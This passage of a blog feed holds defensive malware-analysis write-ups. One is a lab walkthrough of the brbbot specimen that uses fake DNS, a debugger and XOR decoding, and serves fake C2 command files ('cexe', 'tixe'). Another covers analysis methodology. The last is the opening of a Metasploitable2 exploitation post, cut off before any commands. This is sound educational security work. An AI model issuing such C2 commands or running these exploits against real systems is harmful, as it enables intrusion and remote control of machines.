Process Monitor log → exportable as CSV, then visualized in ProcDOT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;ProcDOT is the piece that ties Process Monitor's raw log into something readable — it builds a process/file/registry interaction diagram, with &lt;code&gt;brbbot.exe&lt;/code&gt; flagged as the "first relevant process" so the graph centers on it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phase 3: Intercepting Network Traffic
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Capture and decode the specimen's outbound communication, including its encoded payload.&lt;/p&gt;

&lt;p&gt;This phase depends on controlling DNS resolution and serving fake responses so the specimen "thinks" it's talking to its real C2 infrastructure.&lt;/p&gt;

&lt;p&gt;On REMnux, launch a fake DNS resolver:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;fakedns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify it from the Windows side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nslookup example.com
:: Should resolve to the REMnux VM's IP, not a real address
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reinfect the Windows VM with Wireshark capturing. At this stage, with no real web server running, you'll see the DNS resolution succeed but the subsequent HTTP request fail or hang — confirming the specimen is trying to reach out, but has nothing to talk to yet.&lt;/p&gt;

&lt;p&gt;Then bring up a basic web server on REMnux:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;httpd start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reinfect again. This time the HTTP session should establish. In Wireshark, right-click a packet from that session and use &lt;strong&gt;Follow TCP Stream&lt;/strong&gt; to read the full payload.&lt;/p&gt;

&lt;p&gt;The exfiltrated data appears appended after a &lt;code&gt;&amp;amp;p=&lt;/code&gt; parameter as hex-encoded bytes. Copy it out and save it for the next phase:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;scite encoded.hex
&lt;span class="c"&gt;# Paste clipboard contents, save, exit&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;encoded.hex   &lt;span class="c"&gt;# sanity check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 4: Decrypting the Configuration File
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Move from observed behavior to ground-truth understanding by debugging the binary directly.&lt;/p&gt;

&lt;p&gt;This is where code analysis enters the picture. On the Windows VM, load the binary into &lt;strong&gt;x64dbg&lt;/strong&gt; without running it yet, and set a breakpoint on the Windows API call responsible for file reads:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SetBPX ReadFile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the specimen inside the debugger (&lt;code&gt;F9&lt;/code&gt;). It will pause the moment it calls &lt;code&gt;ReadFile&lt;/code&gt;. At that point, inspecting the register holding the file handle (typically &lt;code&gt;RCX&lt;/code&gt; on x64) and cross-referencing it against the debugger's &lt;strong&gt;Handles&lt;/strong&gt; tab confirms the specimen is reading its own dropped configuration file — &lt;code&gt;brbconfig.tmp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Continue execution past the read (&lt;code&gt;Alt+F9&lt;/code&gt;), then look for the call to &lt;code&gt;CryptDecrypt&lt;/code&gt; further down. Set a breakpoint &lt;em&gt;after&lt;/em&gt; that call (on the following &lt;code&gt;test eax,eax&lt;/code&gt; instruction) and run to it (&lt;code&gt;F4&lt;/code&gt;). At this point, the decrypted plaintext should be sitting on the stack — readable directly in the debugger's stack view.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Decrypted config (example pattern): uri=ads.php...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Separately, on REMnux, decode the network payload captured in Phase 3. The encoding here is a simple single-byte XOR — not strong cryptography, just enough to defeat naive string-based detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xxd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; encoded.hex &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; encoded.raw
translate.py encoded.raw decoded.txt &lt;span class="s1"&gt;'byte ^ 0x5b'&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;decoded.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Phase 5: Experimenting with C2 Functionality
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; Confirm the specimen actually responds to commands from its controller, not just that it phones home.&lt;/p&gt;

&lt;p&gt;With the web server still running on REMnux, craft a response file that issues a command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"cexe c:&lt;/span&gt;&lt;span class="se"&gt;\w&lt;/span&gt;&lt;span class="s2"&gt;indows&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;otepad.exe"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ads.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reinfect the Windows VM and observe in Process Hacker — within roughly 30 seconds, &lt;code&gt;brbbot.exe&lt;/code&gt; should spawn a &lt;code&gt;notepad.exe&lt;/code&gt; child process repeatedly, confirming the &lt;code&gt;cexe&lt;/code&gt; (command-execute) instruction is being parsed and acted on.&lt;/p&gt;

&lt;p&gt;To confirm the kill-switch command as well:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm &lt;/span&gt;ads.php
&lt;span class="nb"&gt;echo &lt;/span&gt;tixe &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ads.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within 30 seconds, the running &lt;code&gt;brbbot.exe&lt;/code&gt; process should terminate on its own — validating that the malware author built in a remote self-destruct mechanism, presumably to limit forensic exposure once a campaign is detected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;httpd stop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  How to Verify
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Static analysis surfaced at least one suspicious string/import before execution&lt;/li&gt;
&lt;li&gt;[ ] Regshot/ProcDOT confirmed a concrete artifact (registry key or dropped file)&lt;/li&gt;
&lt;li&gt;[ ] Wireshark captured a DNS lookup and a full HTTP session with the encoded payload&lt;/li&gt;
&lt;li&gt;[ ] The config file's decrypted plaintext was visible directly in the debugger&lt;/li&gt;
&lt;li&gt;[ ] The XOR-decoded exfiltration payload matched expectations&lt;/li&gt;
&lt;li&gt;[ ] The &lt;code&gt;cexe&lt;/code&gt; command produced an observable child process; &lt;code&gt;tixe&lt;/code&gt; produced termination&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I Learned (Planning This Out)
&lt;/h2&gt;

&lt;p&gt;Mapping this before running it clarified something: every phase exists to validate the &lt;em&gt;previous&lt;/em&gt; phase's hypothesis. Static analysis says "this might talk to a C2 server." Behavioral analysis says "yes, and here's the registry key it leaves behind." Network interception says "and here's exactly what it sends." Code analysis says "and here's the exact decryption routine it uses." C2 experimentation says "and here's proof the channel is bidirectional, not just exfiltration."&lt;/p&gt;

&lt;p&gt;It also reframed how I think about debugger breakpoints — &lt;code&gt;SetBPX ReadFile&lt;/code&gt; isn't really about the API call itself, it's a tripwire placed at the &lt;em&gt;boundary&lt;/em&gt; between "the malware's internal logic" and "the OS doing something observable." That's a pattern that generalizes well beyond this one specimen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Why It's a Problem&lt;/th&gt;
&lt;th&gt;Better Approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Skipping the fakedns/web server setup before reinfecting&lt;/td&gt;
&lt;td&gt;The specimen's network calls silently fail, masking real C2 behavior&lt;/td&gt;
&lt;td&gt;Always verify fakedns and the web server respond correctly before infecting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting to clear Process Monitor's log before infection&lt;/td&gt;
&lt;td&gt;Pre-existing noise drowns out the actual infection-related events&lt;/td&gt;
&lt;td&gt;Pause and clear the log (&lt;code&gt;Ctrl+X&lt;/code&gt;) immediately before triggering infection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Setting the ReadFile breakpoint without checking the handle&lt;/td&gt;
&lt;td&gt;You might be watching the wrong file read entirely&lt;/td&gt;
&lt;td&gt;Always cross-reference the handle value against the Handles tab&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treating the XOR key as a one-off curiosity&lt;/td&gt;
&lt;td&gt;Single-byte XOR is extremely common in malware obfuscation — recognizing the pattern speeds up future analysis&lt;/td&gt;
&lt;td&gt;Note the technique (byte-wise XOR with a static key) as a reusable indicator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Not reverting to a clean snapshot between exercise phases&lt;/td&gt;
&lt;td&gt;Leftover artifacts from a previous run can produce misleading "new" findings in Regshot/ProcDOT&lt;/td&gt;
&lt;td&gt;Revert to the clean snapshot whenever the exercise calls for a pristine state&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This was a full walkthrough of the analysis methodology before I've actually run a single command against the live VMs — and I think that's worth being upfront about. Mapping the entire chain first, tool by tool and phase by phase, means that when I do sit down with the actual lab, I'm executing a plan rather than improvising one.&lt;/p&gt;

&lt;p&gt;If you've worked through a similar &lt;code&gt;brbbot.exe&lt;/code&gt;-style exercise before, I'd be curious whether the C2 behavior matched what's outlined here, or whether there were surprises along the way.&lt;/p&gt;

</description>
      <category>malwareanalysis</category>
      <category>reverseengineering</category>
      <category>cybersecurity</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Understanding Malware Analysis: Types, Methodology, and Lab Setup Fundamentals</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 09:57:17 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/understanding-malware-analysis-types-methodology-and-lab-setup-fundamentals-2179</link>
      <guid>https://dev.to/almahmudkhalif/understanding-malware-analysis-types-methodology-and-lab-setup-fundamentals-2179</guid>
      <description>&lt;p&gt;I've been digging into malware analysis lately, and one thing became clear pretty fast: before you ever touch a debugger or run a suspicious binary, you need to understand the &lt;em&gt;landscape&lt;/em&gt; — what malware actually is, how it's classified, and what a safe, repeatable analysis workflow looks like.&lt;/p&gt;

&lt;p&gt;This post is my attempt to organize that foundation. No flashy exploit walkthrough here — just the core concepts I think anyone starting out in malware analysis needs to internalize first, because skipping this step is how people either get sloppy or get burned (sometimes literally infecting their own host machine).&lt;/p&gt;

&lt;h2&gt;
  
  
  Problem Statement
&lt;/h2&gt;

&lt;p&gt;If you search "malware analysis tutorial," you mostly get tool-specific guides — "how to use Ghidra," "how to use Process Monitor" — without context on &lt;em&gt;why&lt;/em&gt; you'd choose static vs. dynamic analysis, or &lt;em&gt;how&lt;/em&gt; to build a lab that won't accidentally compromise your real network.&lt;/p&gt;

&lt;p&gt;I wanted to write down the methodology layer first: the classification of malware, the four analysis approaches, and the non-negotiables of lab isolation. This is the stuff that makes the tool-specific tutorials actually make sense later.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Malware Analysis Actually Is
&lt;/h2&gt;

&lt;p&gt;Malware analysis is the study of a malicious program's behavior — the goal is to understand what it does, how it got in, and how to detect/eliminate it across an environment, not just on one infected machine.&lt;/p&gt;

&lt;p&gt;A few concrete objectives that stuck with me:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Determine the nature of the malware&lt;/strong&gt; — is it an infostealer, a keylogger, a spam bot, ransomware?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Understand the compromise&lt;/strong&gt; — how did it get in, and what's the blast radius?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infer attacker motive&lt;/strong&gt; — banking credential theft usually points to financial motive; persistence + C2 beaconing might point to espionage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extract network indicators&lt;/strong&gt; — domains, IPs, User-Agent strings — for network-level detection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extract host-based indicators&lt;/strong&gt; — registry keys, dropped filenames, mutexes — for endpoint-level detection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This connects directly to something called the &lt;strong&gt;Pyramid of Pain&lt;/strong&gt; — a model showing that not all indicators are equally valuable to defenders:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash Values      → Trivial for attacker to change
IP Addresses      → Easy
Domain Names      → Simple
Network/Host Artifacts → Annoying
Tools             → Challenging
TTPs (Techniques/Tactics/Procedures) → Tough for attacker to change
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The higher you climb the pyramid, the more it costs the attacker when you detect/block it. A hash is trivial to regenerate by recompiling; a TTP (like "this group always uses macro-based phishing + a specific persistence registry path") is much harder for them to abandon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Malware Classification: Knowing What You're Dealing With
&lt;/h2&gt;

&lt;p&gt;Before analyzing a sample, it helps to know which bucket it likely falls into, since that shapes your expectations about propagation and payload.&lt;/p&gt;

&lt;h3&gt;
  
  
  Viruses
&lt;/h3&gt;

&lt;p&gt;Viruses &lt;strong&gt;require human interaction&lt;/strong&gt; to spread — opening an infected file, running infected media. They don't self-propagate.&lt;/p&gt;

&lt;p&gt;Propagation techniques I noted:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Technique&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Master Boot Record viruses&lt;/td&gt;
&lt;td&gt;Infect the boot sector, execute before the OS loads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;File infector viruses&lt;/td&gt;
&lt;td&gt;Attach to executables, trigger on execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Macro viruses&lt;/td&gt;
&lt;td&gt;Abuse scripting in Office documents (e.g., Melissa virus)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Service injection viruses&lt;/td&gt;
&lt;td&gt;Inject into trusted processes like &lt;code&gt;svchost.exe&lt;/code&gt;, &lt;code&gt;explorer.exe&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The &lt;strong&gt;Melissa virus&lt;/strong&gt; is the classic example — it used Word macros to email itself to the first 50 contacts in the victim's Outlook address book the moment the infected document was opened.&lt;/p&gt;

&lt;h3&gt;
  
  
  Worms
&lt;/h3&gt;

&lt;p&gt;Worms are &lt;strong&gt;standalone and self-replicating&lt;/strong&gt; — no host file, no human interaction needed. They spread by exploiting vulnerabilities directly.&lt;/p&gt;

&lt;p&gt;Two examples that came up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Code Red&lt;/strong&gt; — exploited a buffer overflow in Microsoft IIS, self-replicated by scanning for vulnerable servers, then defaced hosted websites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stuxnet&lt;/strong&gt; — targeted SCADA systems specifically, spreading via Windows vulnerabilities and USB drives, with a payload built to sabotage Siemens PLCs controlling centrifuges. A genuinely different class of malware — built for physical-world sabotage, not just data theft.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Trojans
&lt;/h3&gt;

&lt;p&gt;Trojans &lt;strong&gt;look benign but carry a hidden malicious payload&lt;/strong&gt;. They don't self-replicate — they rely on the user downloading or copying them.&lt;/p&gt;

&lt;p&gt;Sub-categories worth knowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remote Access Trojans (RATs)&lt;/li&gt;
&lt;li&gt;Rogue antivirus software (fake security tools that &lt;em&gt;are&lt;/em&gt; the malware)&lt;/li&gt;
&lt;li&gt;Cryptomalware (mining cryptocurrency on the victim's hardware)&lt;/li&gt;
&lt;li&gt;Botnet clients&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The Four Types of Malware Analysis
&lt;/h2&gt;

&lt;p&gt;This is the part I found most useful — a clear framework for &lt;em&gt;how&lt;/em&gt; to approach any sample.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Static Analysis      → Examine without executing
2. Dynamic Analysis     → Execute in isolation, observe behavior
3. Code Analysis        → Disassemble/debug to understand internals
4. Memory Analysis      → Inspect RAM for forensic artifacts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1. Static Analysis
&lt;/h3&gt;

&lt;p&gt;Look at the binary &lt;em&gt;without running it&lt;/em&gt;. You're extracting metadata: file hashes, packer signatures, embedded strings, imports/exports, digital certificate info.&lt;/p&gt;

&lt;p&gt;It won't tell you everything, but it's low-risk and often tells you where to focus next. A good rule of thumb from the methodology: start by asking &lt;strong&gt;"Is it malware? How bad is it? How do I detect it? How do I analyze it?"&lt;/strong&gt; — static analysis is usually how you answer the first two.&lt;/p&gt;

&lt;p&gt;Typical static analysis checklist:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File and section hashes&lt;/li&gt;
&lt;li&gt;Packer identification&lt;/li&gt;
&lt;li&gt;Embedded resources&lt;/li&gt;
&lt;li&gt;Imports and exports&lt;/li&gt;
&lt;li&gt;Crypto API references&lt;/li&gt;
&lt;li&gt;Digital certificates&lt;/li&gt;
&lt;li&gt;"Interesting" strings (URLs, registry paths, mutex names)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Dynamic (Behavioral) Analysis
&lt;/h3&gt;

&lt;p&gt;Run the sample in an isolated sandbox and observe what it &lt;em&gt;does&lt;/em&gt; — processes spawned, files written, registry keys created, network connections attempted. This reveals real-time behavior but won't expose every code path (malware often has logic that only triggers under specific conditions).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Code Analysis
&lt;/h3&gt;

&lt;p&gt;This is where you go from "what does it do" to "how exactly does it do it."&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Static code analysis&lt;/strong&gt; — disassemble the binary, read the assembly without running it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dynamic code analysis&lt;/strong&gt; — step through execution with a debugger, watching registers and memory live.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This requires understanding both the programming/assembly layer and OS internals — definitely the steepest part of the learning curve.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Memory Analysis
&lt;/h3&gt;

&lt;p&gt;Inspect RAM, usually via a memory dump, to catch artifacts that static and dynamic analysis miss — especially useful against malware designed to evade detection or that only materializes fully in memory (fileless malware, process-injected code).&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a Safe Analysis Lab — The Non-Negotiables
&lt;/h2&gt;

&lt;p&gt;This is the part I want to emphasize because it's easy to skip and genuinely risky if you do.&lt;/p&gt;

&lt;h3&gt;
  
  
  Isolation is mandatory, not optional
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The lab network must be isolated from your production network and from the internet by default.&lt;/li&gt;
&lt;li&gt;Virtual machines (VirtualBox, VMware, Hyper-V) are the standard approach — multiple guest OSes running on one physical host, each set up like a normal machine but disposable.&lt;/li&gt;
&lt;li&gt;A typical lab layout: a Windows analysis VM + a Linux VM (often REMnux, a Linux distro purpose-built for reverse engineering) communicating over a host-only virtual network.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Laboratory Network — 172.16.198.0/24 (isolated, host-only)
├── Windows 10/11 VM   (REM Workstation)
└── Linux VM           (REMnux)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Snapshots are your safety net
&lt;/h3&gt;

&lt;p&gt;Virtualization software lets you snapshot a clean VM state and roll back instantly after infecting it. This is the single biggest workflow advantage over physical hardware — you can re-infect, observe, revert, repeat, without ever rebuilding from scratch.&lt;/p&gt;

&lt;p&gt;For physical machines (when virtualization isn't an option, e.g., malware that detects VMs), you'd instead clone a clean disk image with tools like Clonezilla or &lt;code&gt;dd&lt;/code&gt; and manually restore it post-analysis — far less convenient, but sometimes necessary.&lt;/p&gt;

&lt;h3&gt;
  
  
  Anticipate anti-analysis tricks
&lt;/h3&gt;

&lt;p&gt;Some malware actively tries to detect that it's being watched — checking for virtualization artifacts, debugger presence, or sandbox indicators. If it detects analysis, it might terminate itself, sleep, or behave differently to throw off the investigator. Knowing this exists going in stops you from concluding "this sample is harmless" prematurely when it might just be hiding from your tools.&lt;/p&gt;

&lt;h3&gt;
  
  
  Be careful with external connections
&lt;/h3&gt;

&lt;p&gt;If your investigation needs to reach the internet — following a C2 domain, checking OSINT sources — never do it from your normal connection or from inside the isolated lab network directly. Options range from Tor (weaker, exit nodes can be tracked) to a self-hosted VPN you spin up and destroy per-investigation. And critically: uploading a sample to a public service like VirusTotal makes your interest in that sample visible to anyone else watching it — including, in a targeted attack scenario, the attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Verify
&lt;/h2&gt;

&lt;p&gt;Since this article is methodology/notes-based rather than a completed hands-on lab, here's what verification looks like for &lt;em&gt;this stage&lt;/em&gt; of learning:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] I can explain the difference between a virus, worm, and Trojan without notes&lt;/li&gt;
&lt;li&gt;[ ] I can name all four types of malware analysis and what each one reveals&lt;/li&gt;
&lt;li&gt;[ ] I understand why host-only networking matters for a malware lab&lt;/li&gt;
&lt;li&gt;[ ] I understand why VM snapshots are critical to a repeatable workflow&lt;/li&gt;
&lt;li&gt;[ ] I know why uploading a sample to a public sandbox has tradeoffs&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;The biggest shift for me was realizing malware analysis isn't really about memorizing tool commands — it's about having a &lt;em&gt;decision framework&lt;/em&gt;. Static analysis first because it's cheap and safe. Dynamic analysis to see real behavior. Code analysis when you need to know exactly how something works at the instruction level. Memory analysis when the malware is actively trying to stay invisible.&lt;/p&gt;

&lt;p&gt;The lab isolation piece also reframed something for me: the "lab" isn't just a VM you click into — it's a deliberately engineered environment with isolation, repeatability, and anti-detection considerations baked in from the start. Skipping any of those isn't a shortcut, it's a liability.&lt;/p&gt;

&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;Why It's a Problem&lt;/th&gt;
&lt;th&gt;Better Approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Running unknown samples on your main machine&lt;/td&gt;
&lt;td&gt;Real risk of infecting production systems or your daily-driver OS&lt;/td&gt;
&lt;td&gt;Always isolate in a dedicated VM/lab network&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connecting to C2 domains from your real IP&lt;/td&gt;
&lt;td&gt;Exposes your identity/origin to the attacker, can trigger retaliation or fingerprinting&lt;/td&gt;
&lt;td&gt;Use a disposable VPN or properly configured Tor, and understand the tradeoffs of each&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jumping straight to a debugger&lt;/td&gt;
&lt;td&gt;Skips cheap, low-risk static analysis that often narrows your focus&lt;/td&gt;
&lt;td&gt;Always start static, then move to dynamic/code analysis as needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Uploading every sample to public sandboxes by default&lt;/td&gt;
&lt;td&gt;Reveals your investigation to anyone monitoring that sample, may violate data-sharing policies&lt;/td&gt;
&lt;td&gt;Check hashes/IOCs against threat intel first; only upload when appropriate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treating a single VM snapshot as "good enough"&lt;/td&gt;
&lt;td&gt;Makes it hard to compare before/after states across multiple test runs&lt;/td&gt;
&lt;td&gt;Take snapshots at meaningful checkpoints, not just once&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This was a "build the mental model first" kind of write-up rather than a hands-on walkthrough — but I think that's the right order. Going into static/dynamic/code/memory analysis without understanding malware classification or lab safety is how people either waste time or take unnecessary risks.&lt;/p&gt;

&lt;p&gt;Next up, I want to actually run a static analysis pass on a real sample in an isolated lab and document the process end-to-end — strings, hashes, IOCs, the works. That'll be a much more hands-on follow-up to this one.&lt;/p&gt;

&lt;p&gt;If you're also getting into malware analysis, I'd genuinely like to hear what resources or labs helped the concepts click for you.&lt;/p&gt;

</description>
      <category>malwareanalysis</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Exploiting Metasploitable2 with Metasploit: VSFTPD, Samba, and More</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Fri, 26 Jun 2026 07:42:17 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/exploiting-metasploitable2-with-metasploit-vsftpd-samba-and-more-2l24</link>
      <guid>https://dev.to/almahmudkhalif/exploiting-metasploitable2-with-metasploit-vsftpd-samba-and-more-2l24</guid>
      <description>&lt;p&gt;Scanning a network and listing open ports is useful. Actually exploiting those ports and landing&lt;br&gt;
a root shell — that is where exploitation begins. In this write-up I walk through a full Metasploit&lt;br&gt;
session against Metasploitable2: setting up the framework with a PostgreSQL backend, running&lt;br&gt;
a database-backed Nmap scan, exploiting three separate vulnerabilities (vsftpd, Samba, and&lt;br&gt;
UnrealIRCd), exfiltrating credential files over Netcat, and understanding exactly why each&lt;br&gt;
vulnerability works.&lt;/p&gt;

&lt;p&gt;Everything here was run in an isolated VirtualBox lab. No external systems were touched.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Problem This Solves
&lt;/h2&gt;

&lt;p&gt;You have enumerated a target and you have a service list. Now what? Knowing that port 21 runs&lt;br&gt;
vsftpd 2.3.4 is one thing. Knowing that vsftpd 2.3.4 ships with a compiled-in backdoor — and&lt;br&gt;
being able to trigger it in three commands — is something else entirely. This post covers the full&lt;br&gt;
path from service discovery to root shell across three different attack surfaces.&lt;/p&gt;


&lt;h2&gt;
  
  
  Lab Environment
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Machine&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;th&gt;IP Address&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux 2026.1&lt;/td&gt;
&lt;td&gt;Attacker&lt;/td&gt;
&lt;td&gt;192.168.1.4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metasploitable2&lt;/td&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;td&gt;192.168.1.3&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Network: &lt;code&gt;192.168.1.0/24&lt;/code&gt; — fully isolated NAT network inside VirtualBox.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 1 — Setting Up Metasploit with a Database Backend
&lt;/h2&gt;

&lt;p&gt;Metasploit stores scan results, hosts, services, and vulnerabilities in a PostgreSQL database.&lt;br&gt;
Getting this set up correctly before starting means all your Nmap results persist between&lt;br&gt;
sessions and you can query them inside msfconsole.&lt;br&gt;
&lt;/p&gt;

